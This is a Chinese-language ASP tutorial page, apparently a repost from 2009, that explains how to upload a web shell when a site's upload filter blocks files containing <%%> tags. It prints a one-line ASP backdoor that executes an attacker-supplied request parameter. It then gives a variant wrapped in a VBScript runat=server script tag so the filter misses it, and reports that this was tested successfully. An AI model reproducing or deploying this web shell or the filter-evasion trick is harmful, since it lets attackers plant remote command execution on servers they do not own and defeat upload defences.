繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP > 不能使用asp标记的时候的一个解决办法
- ASP
- 用密码保护页面 (II)
- 用密码保护页面 (III)
- 简单的文件目录浏览源程序
- ASP中的函数应用方法及应用举例(一)
- ASP中的函数应用方法及应用举例(二)
- 完整的访问统计系统（一：数据库篇）
- 完整的访问统计程序（二 程序篇）
- 完整的访问统计程序(三 应用篇)
- 一个提供用户输入时期的绝好程序之(一)
- 一个提供用户输入时期的绝好程序之(二)
- 构建你的网站新闻自动发布系统之五
- 构建你的网站新闻自动发布系统之六
- 完整的访问统计程序（二 程序篇）
- 完整的访问统计程序(三 应用篇)
- ASP环境下邮件列表功能的实现 （一）
- ASP环境下邮件列表功能的实现 （二）
- ASP环境下邮件列表功能的实现 （三）
- ASP环境下邮件列表功能的实现 （四）
- ASP进阶之文章在线管理更新(1)
- ASP进阶之文章在线管理更新(2)
ASP 中的 不能使用asp标记的时候的一个解决办法
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-03 浏览: 34 ::
收藏到网摘: n/a
以前好多朋友说过就是在程序上传shell过程中，程序不允许包含<%%>标记符号的内容的文件上传，
这样就有好多shell不能上传上去了！那我们是不就没别的方法了么，当然有了！呵呵！
我们拿蓝屏最小的asp木马来看下：
以下是引用片段：
<%execute request("l")%>
我们来把他的标签换下来：
以下是引用片段：
<script language=VBScript runat=server>execute request("l")</Script>
呵呵！这样就避开了使用<%%>，保存为.asp,程序照样执行,效果一样的说！
偶在xpsp2下测试成功！
评论 (0) All
